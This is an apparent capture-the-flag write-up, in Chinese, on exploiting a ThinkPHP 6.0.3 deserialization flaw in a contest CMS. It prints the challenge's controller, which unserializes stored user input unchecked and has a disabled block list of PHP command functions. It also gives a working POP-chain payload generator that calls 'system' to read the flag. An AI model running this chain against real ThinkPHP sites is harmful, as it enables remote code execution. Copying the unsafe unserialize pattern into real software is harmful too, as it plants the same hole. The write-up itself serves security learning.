[GHCTF 2024 新生赛]CMS直接拿下 thinkphp v6.0.3 反序列化漏洞
进入页面就可以看到thinkphp6.0.3,那就证明是反序列化的漏洞,具体的pop链我就不详细讲了,具体看 https://blog.csdn.net/weixin_45794666/article/details/123237118
接下来直接扫目录,发现www.zip。看重要源码。
api.php
<?php
namespace app\controller;
use app\model\AdminUser;
use app\model\Datas;
use app\model\Student;
use app\validate\User;
use think\exception\ValidateException;
use think\facade\Db;
use think\facade\Session;
use think\Request;
class Api{
public function login(Request $request)
{
$post = $request->post();
try{
validate(User::class)->check($post);
}
catch (ValidateException $e) {
return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
}
$data = AdminUser::where('username',$post['username'])->findOrEmpty();
if(!$data->isEmpty() && $data['password'] === $post['password']){
$userinfo = [
"id"=>$data['id'],
"username"=>$data['username'],
"password"=>$data['password'],
];
Session::set('userinfo',$userinfo);
return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
}
else{
return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
}
}
public function logout()
{
// 退个屁,不对接前端了
Session::delete('userinfo');
return redirect('/admin/login');
}
public function list(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else {
$db = new Datas;
$page = $request->get('page',1);
$limit = $request->get('limit',10);
$where = [];
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
$count = $db->where($where)->count();
$lists = [];
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
}
}
public function update(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$data = $request->post('data');
// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
// }
// 随便吧,无所谓了,不想再编程下去了
$db = new Datas;
$result = $db->save(['serialize'=>$data]);
return json(["code"=>200,"msg"=>"修改成功"]);
}
}
// 不想再编程下去了,直接丢一个序列化的接口,省事
public function seria(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$seria = serialize(new Student(
$request->post('id',2),
$request->post('name','李四'),
$request->post('score1',91),
$request->post('score2',92),
$request->post('score3',93)
));
return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
}
}
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}
// public function add()
// {
// $userinfo = Session::get('userinfo');
// if(is_null($userinfo)){
// return redirect('/admin/login');
// }
// $db = new Datas;
// $seria = serialize(new Student(3,'王五',94,100,100));
// $data = ['serialize'=>$seria];
// $result = $db->allowField(['serialize'])->save($data);
// }
// public function test(Request $request)
// {
// $post = $request->post();
//
// unserialize($post['payload']);
// }
}
点击查看代码
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /flag"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
总结:
- thinkphp 6.0.3 反序列化漏洞
- thinkphp 访问对象方法的方式